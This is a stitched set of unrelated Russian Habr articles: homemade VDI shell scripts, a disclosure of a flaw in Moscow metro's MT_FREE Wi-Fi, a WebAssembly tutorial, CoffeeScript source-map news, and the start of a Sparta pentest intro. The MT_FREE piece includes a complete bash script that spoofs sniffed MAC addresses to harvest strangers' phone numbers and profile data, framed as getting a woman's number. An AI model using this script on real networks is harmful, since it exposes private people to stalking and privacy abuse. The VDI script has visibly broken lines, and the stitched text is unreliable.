Процесс начинается с того, что происходит определение доступных для размещения портов «spice\_console». Для этого исходя из параметра конфигурационного файла «srv\_start\_port\_pool» который задает начальный порт для пула «spice\_console» виртуальных машин и параметра «srv\_pool\_size», определяющего предельное количество виртуальных машин происходит последовательный перебор всех возможных вариантов портов. Для каждого определенного порта происходит поиск его в clear.list, waste.list, conn\_wait.list, recycle.list. Если порт обнаружен в любом из данных файлов, порт считается занятым и пропускается. Если порт в указанных файлах не обнаружен, он вносится в файл recycle.list и начинается процесс создания новой виртуальной машины. Для этого вызывается скрипт vm\_create.sh которому передается в качестве параметра номер «spice\_console» порта для которого необходимо создать VM.
**/home/admin/scripts\_vdi\_new/vm\_create.sh**
```
#!/bin/sh
/usr/bin/echo "#" "$date" "START RUNNING VM_CREATE.SH#"
new_vm_port=$1
date=$(/usr/bin/date)
a=0
/usr/bin/echo SRV_TMP_DIR=$SRV_TMP_DIR
##
base\_host=$(/usr/bin/cat /etc/vm\_manager.conf |/usr/bin/grep "base\_host" \
|/usr/bin/cut -d "=" -f2)
/usr/bin/echo "base\_host=$base\_host"
##
hdd_image_locate() {
/bin/echo "Run STEP 1 - hdd_image_locate"
hdd_base_image=$(/usr/bin/virsh dumpxml $base_host \
|/usr/bin/grep "source file" |/usr/bin/grep "qcow2" |/usr/bin/head -n 1 \
|/usr/bin/cut -d "'" -f2)
if [ -z "$hdd_base_image" ]
then
/bin/echo "base hdd image not found!"
else
/usr/bin/echo "hdd_base_image found is a $hdd_base_image. Run next step 2"
#< CHECK FOR SNAPSHOT ON BASE HDD >#
if [ 0 -eq `/usr/bin/qemu-img info "$hdd_base_image" | /usr/bin/grep -c "Snapshot"` ]
then
/usr/bin/echo "base image haven't snapshot, run NEXT STEP 3"
else
/usr/bin/echo "base hdd image have a snapshot, can't use this image"
exit
fi
##
#< CHECK FOR HDD IMAGE IS LINK CLONE >#
if [ 0 -eq `/usr/bin/qemu-img info "$hdd_base_image" |/usr/bin/grep -c "backing file"
then
/usr/bin/echo "base image is not a linked clone, NEXT STEP 4"
/usr/bin/echo "Base image check complete!"
else
/usr/bin/echo "base hdd image is a linked clone, can't use this image"
exit
fi
fi
##
cloning
}
cloning() {
# #
/usr/bin/virsh shutdown $base\_host > /dev/null 2>&1
# #
##
/usr/bin/echo "Free port for Spice VM is $new\_vm\_port"
##
new\_vm\_name=$(/bin/echo $base\_host"-"$new\_vm\_port)
##
##
/usr/bin/virsh dumpxml $base\_host > $SRV\_TMP\_DIR/$new\_vm\_name.xml
##
####
/usr/bin/sed -i "s%$base\_host%$new\_vm\_name%g" $SRV\_TMP\_DIR/$new\_vm\_name.xml
##
##
old\_uuid=$(/usr/bin/cat $SRV\_TMP\_DIR/$new\_vm\_name.xml |/usr/bin/grep "")
/usr/bin/echo old UUID $old\_uuid
new\_uuid\_part1=$(/usr/bin/echo "$old\_uuid" |/usr/bin/cut -d "-" -f 1,2)
new\_uuid\_part2=$(/usr/bin/echo "$old\_uuid" |/usr/bin/cut -d "-" -f 4,5)
new\_uuid=$(/bin/echo $new\_uuid\_part1"-"$new\_vm\_port"-"$new\_uuid\_part2)
/usr/bin/echo $new\_uuid
/usr/bin/sed -i "s%$old\_uuid%$new\_uuid%g" $SRV\_TMP\_DIR/$new\_vm\_name.xml
##
##
old\_spice\_port=$(/usr/bin/cat $SRV\_TMP\_DIR/$new\_vm\_name.xml \
|/usr/bin/grep "graphics type='spice' port=")
/bin/echo old spice port $old\_spice\_port
new\_spice\_port=$(/usr/bin/echo "")
/bin/echo $new\_spice\_port
/usr/bin/sed -i "s%$old\_spice\_port%$new\_spice\_port%g" $SRV\_TMP\_DIR/$new\_vm\_name.xml
##
##
mac\_new=$(/usr/bin/hexdump -n6 -e '/1 ":%02X"' /dev/random|/usr/bin/sed s/^://g)
/usr/bin/echo New Mac is $mac\_new
##
##
mac\_old=$(/usr/bin/cat $SRV\_TMP\_DIR/$new\_vm\_name.xml |/usr/bin/grep "mac address=")
/usr/bin/echo old mac is $mac\_old
/usr/bin/sed -i "s%$mac\_old%$mac\_new%g" $SRV\_TMP\_DIR/$new\_vm\_name.xml
##
##
/usr/bin/qemu-img create -f qcow2 -b $hdd\_base\_image /var/lib/libvirt/images\_write/$new\_vm\_name.qcow2
##
##
/usr/bin/echo hdd base image is $hdd\_base\_image
/usr/bin/sed -i "s%%%g" $SRV\_TMP\_DIR/$new\_vm\_name.xml
##
starting\_vm
##
}
starting\_vm() {
/usr/bin/virsh define $SRV\_TMP\_DIR/$new\_vm\_name.xml
/usr/bin/virsh start $new\_vm\_name
while [ $a -ne 1 ]
do
if /usr/bin/virsh list --all |/usr/bin/grep "$new\_vm\_name" |/usr/bin/grep "running" > /dev/null 2>&1
then
a=1
/usr/bin/sed -i "/$new\_vm\_port/d" $SRV\_TMP\_DIR/recycle.list
/usr/bin/echo $new\_vm\_port >> $SRV\_TMP\_DIR/clear.list
/usr/bin/echo "#" "$date" "VM $new\_vm\_name IS STARTED #"
else
/usr/bin/echo "#VM $new\_vm\_name is not ready#"
a=0
/usr/bin/sleep 2s
fi
done
/usr/bin/echo "#$date EXIT FROM VM\_CREATE.SH#"
exit
}
hdd\_image\_locate
```
Процесс создания новой виртуальной машины
Скрипт vm\_create.sh считывает из конфигурационного файла значение переменной «base\_host» которой определяется образец виртуальной машины, на основе которой будет делаться клон. Производит выгрузку xml конфигурации VM из базы гипервизора, производит ряд проверок qcow образа диска VM и при успешном их завершении создает xml конфигурационный файл для новой VM и «linked clone» образ диска новой VM. После чего xml конфиг новой VM загружается в базу гипервизора и VM запускается. Порт «spice\_console» переносится из recycle.list в clear.list. Заканчивается исполнение vm\_create.sh и завершается исполнение vm\_manager.sh.
При следующем подключении всё начинается с начала.
Для аварийных случаев в комплекте есть скрипт vm\_clear.sh который принудительно пробегает по всем VM из пула и удаляет их с обнулением значений list-ов. Вызов его на этапе загрузки позволяет начать работу (недо)VDI с чистого листа.
**/home/admin/scripts\_vdi\_new/vm\_clear.sh**
```
#!/usr/bin/sh
#set VARIABLES#
SRV_SCRIPTS_DIR=$(/usr/bin/cat /etc/vm_manager.conf \
|/usr/bin/grep "srv_scripts_dir" |/usr/bin/cut -d "=" -f2)
/usr/bin/echo "SRV_SCRIPTS_DIR=$SRV_SCRIPTS_DIR"
export SRV_SCRIPTS_DIR=$SRV_SCRIPTS_DIR
SRV_TMP_DIR=$(/usr/bin/cat /etc/vm_manager.conf \
|/usr/bin/grep "srv_tmp_dir" |/usr/bin/cut -d "=" -f2)
/usr/bin/echo "SRV_TMP_DIR=$SRV_TMP_DIR"
export SRV_TMP_DIR=$SRV_TMP_DIR
SRV_POOL_SIZE=$(/usr/bin/cat /etc/vm_manager.conf \
|/usr/bin/grep "srv_pool_size" |/usr/bin/cut -d "=" -f2)
/usr/bin/echo "SRV_POOL_SIZE=$SRV_POOL_SIZE"
SRV_START_PORT_POOL=$(/usr/bin/cat /etc/vm_manager.conf \
|/usr/bin/grep "srv_start_port_pool" |/usr/bin/cut -d "=" -f2)
/usr/bin/echo SRV_START_PORT_POOL=$SRV_START_PORT_POOL
#Set VARIABLES#
/usr/bin/echo "= Cleanup ALL VM="
/usr/bin/mkdir $SRV_TMP_DIR
/usr/sbin/service iptables restart
/usr/bin/cat /dev/null > $SRV_TMP_DIR/clear.list
/usr/bin/cat /dev/null > $SRV_TMP_DIR/waste.list
/usr/bin/cat /dev/null > $SRV_TMP_DIR/recycle.list
/usr/bin/cat /dev/null > $SRV_TMP_DIR/conn_wait.list
port_to_delete=$(($SRV_START_PORT_POOL+$SRV_POOL_SIZE))
while [ "$port_to_delete" -gt "$SRV_START_PORT_POOL" ]
do
$SRV_SCRIPTS_DIR/vm_delete.sh $port_to_delete
port_to_delete=$(($port_to_delete-1))
done
/usr/bin/echo "= EXIT FROM VM_CLEAR.SH="
```
На этом я хотел бы закончить первую часть своего рассказа. Изложенного должно быть достаточно для системных администраторов, чтобы попробовать недоVDI в деле. Если сообщество найдет данную тему интересной, во второй части я расскажу про модификацию livecd Fedora и превращения ее в киоск. | https://habr.com/ru/post/462203/ | null | ru | null |
# Как уже снова не получить телефон (почти) любой красотки в Москве, или интересная особенность MT_FREE
**UPD0 14.03 8:21 — Телефон больше не получить. Остальные интересные данные пока остались.**
**UPD1 14.03 10:39 — Дабы не очернять ребят из *саппорта* MaximaTelecom**: Сообщил о ней я окольными путями, но раз пять переспросил и уточнил, дошло ли моё письмо до адресата — короче говоря, убедился, что оно у эфемерного (имена просили молчать) ответственного за вафли лица в метро. Я признаю, что это тупо, но цепочка "проблема в мосметро" → "у меня уже были связи со всяким мос, надо позвонить им" мне показалась весьма и весьма логичной в момент обнаружения уязвимости.
**UPD2 14.03 15:40 — Уязвимость была найдена в uid [Antxak](https://habrahabr.ru/users/antxak/) — суть в том, что в uid лежит md5 телефона без соли. Снова можно искать телефоны.**
**Пример намайненного телефона**
**UPD3 14.03 18:55 — Уязвимый хэш в uid был заменен на тот же, что и в телефоне. Пока не раскололи последний.**
**UPD4 15.03 20:51 — Значения и ключи почти всех полей были заменены на предположительно обфускованные.**
**Пример для UPD4**
```
"f1509df640" : "2808dfd5",
"groups" : [
"cppk_basic",
"mck_basic",
"mosmetro_premium",
"mgt_basic",
"mosmetro_basic"
],
"c760cf1502" : "1c0066f3",
"2147e37a8a" : "159961e5",
"5777de2cd9" : "fd5a4e2f",
"tags" : [
"analytics_742_k2",
"analytics_808",
"analytics_342",
"analytics_360",
"analytics_403",
"analytics_571_4",
"analytics_693_altufyevo"
],
"843539b896" : "",
"857696ce09" : "a5ff55e9",
"train" : "",
"5e97672e80" : "7dce1b03",
"cec952789d" : null,
"dmpSegments" : [],
"place" : "",
"f4befe4ab6" : "144:149",
```
#### Сеттинг
В Московском метрополитене есть такая замечательная вещь, как бесплатный вайфай.
Единственное, что вам нужно, чтобы войти в него — это ввести свой номер телефона. И так как метро — штука хоть и удобная, но зачастую долгая, бесплатной сетью пользуются практически все. В этом интересном мире нам понравилась девушка за столом напротив.
#### Небольшая уязвимость
Авторизация в этой сети привязывается по мак-адресу, который всегда можно сменить — например на любой пойманный в воздухе вокруг. Поймать мак-адреса можно, например, утилитой [airodump-ng](https://www.aircrack-ng.org). Иногда даже можно войти в wi-fi не смотря рекламу, если реальный владелец мак-адреса оплатил премиум-доступ.
#### Слив данных о самом себе
Но если вы не в числе оплативших wi-fi, то вас при подключении поприветствует страничка auth.wi-fi.ru. Помимо рекламы, эта страничка отдает один интересный json, который содержит кучу интересной информации о текущем подключенном пользователе.
Даже если вы оплатили премиум-доступ, эту страничку всегда можно открыть, просто вбив в браузере адрес.
**Много интересной информации**
```
{
"dmpSegments" : [],
"clicker_status" : -1,
"gender" : "F",
"place" : "",
"premium_groups" : {
"premium_vip_status" : -1,
"mosmetro_premium_short_status" : -1,
"mosmetro_premium_status" : 1
},
"line_id" : "99",
"family_status" : "not married",
"autoapp_status" : 0,
"premium" : true,
"autoapp_user" : null,
"age" : "4500",
"interests" : "307",
"train" : "",
"device_price" : "",
"mac" : "98-00-**-**-b3-66",
"ip" : "10.120.193.191",
"groups" : [
"cppk_basic",
"mosmetro_premium",
"mgt_basic",
"mosmetro_basic"
],
"home_station" : "192:193",
"msisdn" : "7925*****03",
"occupation" : "student",
"profit" : "medium",
"clicker" : null,
"tags" : [
"yandex.taxi",
"obed",
"coffee",
"analytics_742_k2",
"analytics_784_dns"
],
"avocation" : "oywh4JCyQYOMHLy8ZM5AXqMZNhal0pDJl-OqBtuq09T5oBLS44GveLog8sWGm3ILB81zUC0mvW_l51J9ykx1kA==",
"current_station" : null,
"mnc" : "02",
"uid" : "********",
"job_station" : "57",
"groups_data" : {
"mosmetro_basic" : {
"endDate" : null,
"state" : 1
},
"mosmetro_premium" : {
"state" : 1,
"endDate" : null
},
"mgt_basic" : {
"state" : 1,
"endDate" : null
},
"cppk_basic" : {
"endDate" : null,
"state" : 1
}
}
}
```
Замечу, что номер телефона не закрыт звездочками в реальных данных.
#### И, собственно, как узнать номер красотки
Я почти уверен, что все вы догадались, как пойдет наш сценарий.
Ева очень хочет узнать телефон Алисы за столом напротив (forbidden love!). Как и большинство людей в Москве, пользуясь телефоном, Алиса так же пользуется и сетью MT\_FREE.
Ева следит за Алисой некоторое время, и узнает её MAC с помощью утилиты airodump-ng, широко доступной и работающей практически на любой вафельнице. Узнав его, она следует в метро, меняет свой мак на мак Алисы, открывает страничку auth.wi-fi.ru и получает желанный номер.
#### Мне лень даже проверять это
Но постой, потенциальная Ева! Чтобы упростить труд перебирания десятков маков из забегаловки в ~~поиске телефона~~ твоем кропотливом исследовании безопасности wi-fi, я сделал небольшой скрипт! Его ты сможешь найти внизу статьи.
#### To be continued?
Работает получение данных о юзере пока только в метро, т.к удаленно у меня ещё не получилось убедить сервер в том, что мак у меня не 00:00:00:00:00:00. Раньше была возможность передавать мак в параметре client\_mac, но аналога я пока не нашел.
#### Дисклеймер
Я сообщил об уязвимости (наверняка это делали до меня, эта штука очевидна до нельзя) неделю назад, и так и не получив никакого ответа, решил раскрыть её тут.
Всё описанное выше дисклеймера написано от лица вымышленного персонажа, и является художественной литературой. Его мотивы не совпадают с моими, и я это делаю исключительно в исследовательских целях. И даже не особо понимаю, что мне делать с телефоном красотки, которая мне его не дала.
Я не буду показывать на руководство пользования airodump-ng, чтобы не снизить уровень вхождения совсем до нуля.
#### Скрипт
**Для тех, кому просто посмотреть**
```
#!/bin/bash
# script for finding userdata from a list of macs.
# for educational purposes only, of course.
! sudo -p "we require sweet root juices to run, please let us in: " echo -n && exit 1
INPUT=$1
SSID=MT_FREE
DEV=${2:-wlp1s0}
OUTDIR=check-`date +%d-%m-%yT%H:%M:%S`
[ ! -e $INPUT ] && { echo 'no input'; exit 1; }
[ -z $SSID ] && { echo 'no connection'; exit 1; }
function progress() { echo -ne "\033[K"$1"\033["${#1}"D"; }
function status() { echo -e "\033[K$1"; }
function current_userdata() {
rm .ck 2> /dev/null
curl --retry 3 -s -b .ck -c .ck 'https://auth.wi-fi.ru/auth?segment=metro' > /dev/null 2>&1
curl --retry 3 -s -b .ck -c .ck 'https://auth.wi-fi.ru/auth?segment=metro&mac=ff-00-00-00-00-00' 2>/dev/null | grep userData | grep -oP '(?<=JSON.parse\(\").*?(?=\")' | sed 's/\\"/"/g' | json_pp
rm .ck
}
function oui() {
MAC=$1
if [ -e /var/lib/ieee-data/oui.txt ]; then
OUIMAC=${MAC//:}
OUIMAC=${OUIMAC[@]:0:6}
MACINFO=`grep $OUIMAC /var/lib/ieee-data/oui.txt`
# getting naame (it's always 22 symbols away from the start)
MACINFO=${MACINFO[@]:22}
# removing \r on the end
echo -n ${MACINFO[@]:0:-1}
fi
}
tput civis
function on_exit() {
tput cnorm
echo "turning wifi back on"
nmcli dev set $DEV managed true
nmcli dev set $DEV autoconnect true
}
trap on_exit EXIT
mkdir $OUTDIR
echo "turning wifi on $DEV off for nmcli for now"
# turning it off in nmcli
nmcli dev set $DEV managed false >/dev/null 2>&1
nmcli dev set $DEV autoconnect false >/dev/null 2>&1
for MAC in $(cat $INPUT); do
echo -en "\033[2m"$MAC"\033[0m"' : '
progress "switching..."
sudo iw dev $DEV disconnect 2>/dev/null
sudo ip link set $DEV down
if ! sudo ip link set $DEV address $MAC > /dev/null 2>&1; then
status "failed to set mac?"
echo $MAC >> $OUTDIR/not-macs.txt
continue
fi
sudo ip link set $DEV up
progress "connecting..."
CON_SUCCESS=
for try in {1..3}; do
progress "try $try..."
if sudo iw dev $DEV connect -w $SSID | grep connected >/dev/null 2>&1 ; then
CON_SUCCESS=1
break
fi
done
if ! [ $CON_SUCCESS ]; then
status "failed to connect to wi-fi"
echo $MAC >> $OUTDIR/no-assoc-macs.txt
continue
fi
progress "getting ip..."
if ! sudo dhclient -1 $DEV; then
status "DHCP failed"
echo $MAC >> $OUTDIR/no-ip-macs.txt
continue
fi
progress "userdata..."
USERDATA=$OUTDIR/$MAC-userdata.txt
current_userdata 2>/dev/null > $USERDATA
if [ -s $USERDATA ]; then
AGE=`cat $USERDATA | grep -Po '(?<=age\"\ \:\ \").*?(?=\")'`
PHONE=`cat $USERDATA | grep -Po '(?<=msisdn\"\ \:\ \").*?(?=\")'`
PREMIUM=`cat $USERDATA | grep -Po '(?<=premium\"\ \:\ )\w*'`
GENDER=`cat $USERDATA | grep -Po '(?<=gender\"\ \:\ \").*?(?=\")'`
OUI=`oui $MAC`
# just adding some more highlight to that sweet mark of ad-free wifi mac goodness
if [ $PREMIUM == true ]; then
PREMIUM="\033[32;1mtrue\033[0;36m"
echo $MAC >> $OUTDIR/good-macs.txt
fi
status "got userdata \033[36m{ msisdn: ${PHONE}, age group ${AGE}, gender: ${GENDER}, premium: ${PREMIUM}, vendor: $OUI }\033[0m "
else
status "no userdata"
rm $USERDATA
echo $MAC >> $OUTDIR/no-reg-macs.txt
fi
done
```
**Пример работы**
[Ссылка на скрипт в GitHub Gist](https://gist.githubusercontent.com/cab404/16872329f727dcae298027b3eb734f0e/raw/d155c1401e8f8015204859896b0acdfc145f292f/checkmacs.sh)
Для работы скрипта из зависимостей нужен только curl, json\_pp, и желательно иметь новый oui.txt в /var/lib/ieee-data/ (скачать [отсюда](http://standards-oui.ieee.org/oui.txt))
Использование: `./checkmacs.sh (файл с маками на каждой строке) [интерфейс]`
По умолчанию используется интерфейс wlp1s0.
`./checkmacs.sh get-userdata` возвращает данные юзера по текущему подключению
Спасибо за прочтение!
*UPD: обновил зависимости*
*UPD: заменил ifconfig на ip (спасибо, [bykvaadm](https://habrahabr.ru/users/bykvaadm/) ), добавил возможность смены интерфейса без изменения скрипта* | https://habr.com/ru/post/351114/ | null | ru | null |
# Назад в будущее с WebAssembly
Привет, Хабр! Представляю вашему вниманию перевод статьи [«Back To The Future With WebAssembly»](https://hmh.engineering/back-to-the-future-with-webassembly-9a12ab6ec33) автора Attila Vágó.
#### Данный пост является переводом статьи, в которой рассказывается о свойствах WebAssemly и Emscripten. [Оригинал](http://https://hmh.engineering/back-to-the-future-with-webassembly-9a12ab6ec33) статьи на английском языке.
*Автор статьи Аттила Ваго — senior разработчик ПО в HMH. Пишет код, блоги и штуки в интернете. Полиглот языков программирования, прагматичный деятель, со страстью к JavaScript и легкому доступу. Легко вдохновляемый и вдохновляющий человек с сильным пристрастием к вещам для ботаников, отличной еде, крафтовому пиву и Lego. Пользуется Mac. Делает зарядку в 6 утра.*
В 2011 году я написал свою первую независимую строку кода не на HTML (с ним я работал в 2007 году), и она была написана на том самом старом добром С, который преподавал профессор Дэвид Дж. Малан из Гарвардского университета. Он навсегда останется моим вдохновителем не только на изучение программирования, но и на программное мышление. Также запомнилось то, что приготовить бутерброд с арахисовым маслом просто для меня, однако это невероятно сложная задача для компьютера и одинаково трудная для человека, притворяющегося компьютером.
Если вы посмотрели видео, хотя бы первые 18 минут (я знаю, что это долго, но программирование требует времени), то Вы поймете, почему по сей день C близок моему сердцу. К моему разочарованию, я так и не обучился ему, потому что, давайте посмотрим правде в глаза, для веб-разработчика C – это наименьший из приоритетов. У меня никогда не было реальной причины погружаться глубоко в этот язык, несмотря на покупку бесчисленных курсов Udemy и книг по C, я никогда не прикасался к ним (держите свои осуждающие взгляды при себе, Вы делали также) или лгать себе, что если я куплю смарт часы Pebble, которые работают на C, то обязательно напишу для них код. Да, точно! Ни одна из этих причин не была достаточно веской.
#### Что такое WebAssembly и в чем он обгоняет JS?
WebAssembly (сокращенно Wasm) – это бинарный формат инструкций для стековой виртуальной машины.
> «Wasm разработан как переносимая платформа для компиляции языков высокого уровня, таких как C/C++/Rust, что позволяет развертывать в интернете клиентские и серверные приложения»
– любезно объясняет webassembly.org
Иными словами, вышеизложенное означает, что Вы можете писать модули, которые работают в интернете, в браузере/сервере, но написаны на таких языках, как C, скомпилированы в двоичный файл и поэтому невероятно быстры, поскольку они работают непосредственно на аппаратном обеспечении машины. В сравнении с ними, скриптовые языки, такие как JavaScript, имеют несколько уровней абстракции между кодом и оборудованием, что, среди прочего, делает их медленными. Конечно, это не всегда имеет значение, и каждый из них имеет свое место в программе или даже веб-экосистеме.
Исходя из этого, Wasm по строению (изначально) поддерживает только целые числа и числа с плавающей точкой, что дает большую вычислительную мощность и, следовательно, часто используется для реализаций типа canvas. Важно понимать, что WebAssembly не представляет угрозы для JavaScript — во всяком случае, пока — и, как вы увидите далее в этой статье, C и JavaScript могут на самом деле жить очень счастливо в одном проекте и могут запускать код друг друга. Да, что-то вроде того.
#### Emscripten «склеивает» C и JS
А теперь держитесь! Я знаю, что говорю. Нельзя произносить такие вещи, как ”запуск C в JS и наоборот", и ожидать, что мир не отреагирует. Как бы странно это ни звучало, я не обманываю. Оказывается, Emscripten — это цепочка инструментов для компиляции в asm.js и WebAssembly, спроектированные с использованием LLVM (Боже мой, половину этих вещей я узнал, пока набирал текст статьи), что позволяет запускать C и C++ в интернете на почти родной скорости без плагинов.
Хорошо, вот то, что необходимо из этого выделить для себя. Emscripten поможет Вам скомпилировать код, написанный на C в WebAssembly, предоставив дополнительные инструменты для облегчения нагрузки на разработчика, когда дело доходит до общения между двумя языками, и поможет запустить Wasm в Вашем веб-проекте. Базовая команда компиляции Emscripten выглядит следующим образом:
```
emcc lib/strings.c -s WASM=1 -o public/strings.js
```
В то время как не базовая команда запускается так:
```
emcc lib/imports.c -s WASM=1 -s EXPORTED_FUNCTIONS="['_getNum', '_main', '_getDoubleNum', '_greet']" -o public/imports.js
```
Настройка Emscripten не самая простая вещь, но и не запуск ракеты. Единственное, что усложняет настройку – это то, что она имеет множество зависимостей, таких как Python, Node, xCode, Git и cMake. Все инструкции можно найти на странице установки и легко следовать им.
Поэтому Emscripten:
* является отличным инструментом для переноса, позволяющий компилировать существующие проекты, написанные на C или C++ и запускать их во всех современных браузерах. *Кыш отсюда, Internet Explorer!*
* отлично подходит для API, поскольку конвертирует OpenGL в WebGL и позволяет использовать знакомые API, такие как SDL или напрямую HTML5. *О да!*
* И это чертовски быстро: благодаря LLVM, Emscripten, asm.js и WebAssembly, код работает на почти собственной скорости. *Беги, кролик, беги!*
Примечание: Вам не нужен Emscripten для генерации Wasm, поскольку во все новые браузеры встроен API для поддержки Wasm в том же окне, что выполняет Emscripten в качестве верхнего слоя, что делает жизнь разработчика намного легче. Например, Emscripten будет подстраивать объем памяти под Вас, что может быть утомительным через С.
#### Примеры… примеры повсюду!
Вы знаете, как говорится *«строка кода стоит тысячи слов»*, – ОК, это прерогатива рассказчика и все такое, поэтому без лишних слов давайте взглянем на какой-нибудь реальный код. Комментарий не по теме: в тот день я не мог преодолеть синтаксис C. Он не компилировался половину времени, потому что мой код был бы шатким. И через восемь лет я такой: *«Да это же похоже на JavaScript”*.
Ребята, если кто-то начнет видеть код C в моем React, просто верните меня к реальности, хорошо?
Еще немного не по теме, вот вам действующий код на C:
И, соответственно, на JavaScript:
ОК, что именно происходит в этих файлах? На самом деле довольно много, так что я перечислю.
1. Важно понимать, что **main ()**, если не указано иное, всегда запускается первым и также компилируется по умолчанию. Если вы хотите скомпилировать другую функцию, вам нужно будет специально установить ее в флаге массива **EXPORTED\_FUNCTIONS**, как показано в предыдущем разделе.
2. Вы пишете свой код на C, как обычно, импортируя его обычные библиотеки, но поверх этого Вы получаете синтаксический сахар Emscripten, а также больше методов/функций, чем с каким-либо другим инструментом.
3. Файл **imports.js** (имя произвольное, но всегда совпадающее с файлом на С), на который ссылается HTML, – это не что иное, как “клей” Emscripten, который автоматически генерируется при компиляции. Не нужно беспокоиться об этом, просто убедитесь, что на него действительно ссылаются.
4. **Printf** – это просто заурядный оператор C, регистрирующий строку на консоли. Ничего особенного, двигаемся дальше.
5. Строки 14 и 17 представляют собой анти-шаблон, но хороший пример запуска JS в вашем коде на C. Единственное реальное различие между **emscripten\_run\_script** и **emscripten\_async\_run\_script** заключается в том, что последний позволяет запускать JS в C асинхронно. В основном при помощи **setTimeout ()**. Причина, по которой я сказал, что это анти-шаблон в том, что так оно и есть. Вся идея WebAssembly состоит в том, чтобы запустить C в JS, а не JS в C, и, следовательно,…
6. Строки 20 и 24 и связанные с ними функции JS в файле **index.html** представляют правильный шаблон, а именно объявление вашего JS в вашем JS и возврат чего-либо для С.
7. **EM\_JS**, который затем запускает **jsFunction**, – это просто более простой способ –для достижения аналогичной цели, как в пунктах 4 и 5.
Предсказуемый результат вышесказанного таков:
#### Дамы вперед!
Как и во всяком коде, в WebAssembly также есть порядок выполнения. Не возимся с очередью! Порядок в этом случае является стандартным для С порядком. Все запускается в Main() и всякий раз, когда **main()** готов, готов и Wasm. Однако что произойдет, если вам нужна статическая функция для вызова во время выполнения? Ну, просто немного синтаксического сахара Emscripten, и все идет как по маслу:
#### Собираем мух с торта
Это хорошо написанный код, особенно простые штуки, проиллюстрированные в предыдущих разделах, но мы все знаем, что реальный мир намного больше, чем “Hello World”, и половина времени каждого разработчика тратится на то, чтобы выяснить, почему код не делает то, что должен. Баги просто неизбежны и в каком-то смысле являются частью жизни.
При запуске C в JS или любого Wasm, если на то пошло, все может стать еще более удручающим. К счастью, Emscripten снова приходит на помощь, предоставляя два очень полезных метода отладки:
```
// browser debugger gets triggered
emscripten_debugger();
// browser console warning with stack-trace
emscripten_log(EM_LOG_WARN, “‘param’ your message”);
```
#### На помощь спешит Быстрый Гонсалес
Верьте или нет, создатели Emscripten продумали все. Одна большая фича — и последняя, которую я упомяну в этой статье, так как их слишком много, чтобы поместить их все в одну — это основа для быстрой разработки и тестирования. Вы можете скомпилировать свой Wasm, построить проект и запустить сервер одним махом:
```
emrun --port 7777 --no_browser public/index.html
Now listening at http://localhost:7777/
```
The html page you are running is not emrun-capable. Stdout, stderr and exit(returncode) capture will not work. Recompile the application with the --emrun linker flag to enable this, or pass --no\_emrun\_detect to emrun to hide this check.
Хорошо, двумя махами… приведенный выше пример работает, но следующий работает лучше, что объясняет показанная ошибкой.
```
**// compile as emrun project
emcc lib/strings.c -s WASM=1 --emrun -o public/index.html
// run the emrun server again
emrun --port 7777 --no\_browser public/index.html**
```
Я просто оставлю это так. Изучая WebAssembly, я отметил День Святого Патрика и следующий день. Не совсем уверен, что будет дальше, но меня это взволновало достаточно, чтобы сидеть перед монитором в течение двух дней, пытаясь вникнуть в основы WebAssebly, и это должно что-то значить, верно? Это самый код на C, который я написал с 2011 года, и он отлично себя чувствует. Я думаю, что у WebAssembly есть реальное будущее, но я не уверен, что он полностью захватит сеть и убьет JS, как проповедуют некоторые. А Вы как думаете?
 | https://habr.com/ru/post/453008/ | null | ru | null |
# Вышел CoffeeScript 1.6.1 с поддержкой Source Maps
Случилось то, чего мы ждали уже давно. Благодаря усилиям [Jason Walton](http://github.com/jwalton) теперь [CoffeeScript поддерживает Source Maps](http://coffeescript.org/#source-maps), и мы можем отлаживать код на CoffeeScript прямо в браузере (Chrome, Firefox Nightly, Webkit Nightly). Теперь практически не осталось причин не использовать этот великолепный язык в своих веб-проектах.
Отладка с данным нововведением выглядит вот так (поддерживаются breakpoints, можно смотреть переменные, стек и т.п.):
Для создания Source Maps необходимо всего лишь добавить ключ `--map` при компиляции. Рядом с откомпилированным файлом .js появится файл .map, который и будет использован браузером для сопоставления исходного кода.
Вы даже можете минифицировать полученный JavaScript с помощью [UglifyJS2](https://github.com/mishoo/UglifyJS2) и, используя опцию `--in-source-maps`, получить полноценную отладку исходного CoffeeScript кода. Магия!
При использовании в браузере через `[эта фича пока не работает, но, я надеюсь, её добавят в ближайшее время.
Если вы ещё не знаете что такое Source Maps и почему они должны кардинально изменить веб-разработку, почитайте отличное Введение в Javascript Source Maps](http://habrahabr.ru/post/148098/).
Также, в этой версии:
* Исправлена регрессия в версии 1.5.0 при работе с несколькими неявными вызовами методов у неявно заданного объекта. Вообще, лучше так не делать)
* .coffee.md поддерживается как альтернативное расширение для "грамотного" CoffeeScript, в дополнение к .litcoffee (см. [статью на Хабре](http://habrahabr.ru/post/170627/) по этому поводу).
* Другие мелкие багфиксы.
P.S. Судя по [многочисленным коммитам](https://github.com/jashkenas/coffee-script/compare/1.6.1...master) после выпуска этой версии, "дотачивание напильником" этой огромной фичи ещё в процессе. Скорее всего, скоро будет обновление.` | https://habr.com/ru/post/171649/ | null | ru | null |
# Sparta — комплекс для проведения тестирования на проникновение
При проведении тестирования на проникновение важным этапом является начальный сбор информации об объектах аудита и их взаимодействии. Для этого необходимо составить карту инфраструктуры, используя различные инструменты и утилиты, получая разрозненный материал для дальнейшего анализа. Сегодня я рассмотрю фреймворк Sparta, который объединяет в себе базовый инструментарий для сбора и анализа информации при проведении тестирования на проникновение.
Sparta – это инструмент для проведения тестирования на проникновение, написанный на Python, который призван сфокусировать внимание пентестера на анализе найденных уязвимостей, а не на командах и синтаксисе.
Sparta предоставляет удобный графический интерфейс, который выглядит как центр управления инструментами сканирования, брутфорса, сканерами уязвимостей и прочими. Инструмент Sparta входит в стандартный пакет утилит Kali Linux и готова к использованию сразу после установки дистрибутива.
Официальные сайты:
<https://github.com/SECFORCE/sparta/>
<http://sparta.secforce.com/>
Функционал
----------
* Проводит обнаружение хостов и сервисов в сети при помощи nmap или позволяет загрузить результат сканирования nmap формата XML.
* Проверяет учетные данные на стандартные и словарные значения (словари /usr/share/sparta/wordlists).
* Обнаруживает уязвимости при помощи популярных сканеров уязвимостей (nikto).
* Делает скриншоты найденных веб-сайтов.
* Позволяет настроить поведение Sparta в отношении любых сервисов (какие инструменты запускать против каких сервисов и с какими параметрами).
* Позволяет отметить хосты, информация о которых нам не интересна, чтобы не тратить на них время.
Настройка
---------
Те читатели, кто хочет просто познакомиться с работой программы, может пропустить этот раздел, т.к. инструмент Sparta, установленный в Kali Linux готов к использованию в базовой конфигурации.
Настройки Sparta содержатся в следующих файлах:
* /etc/sparta.conf
* /usr/share/sparta/sparta.conf
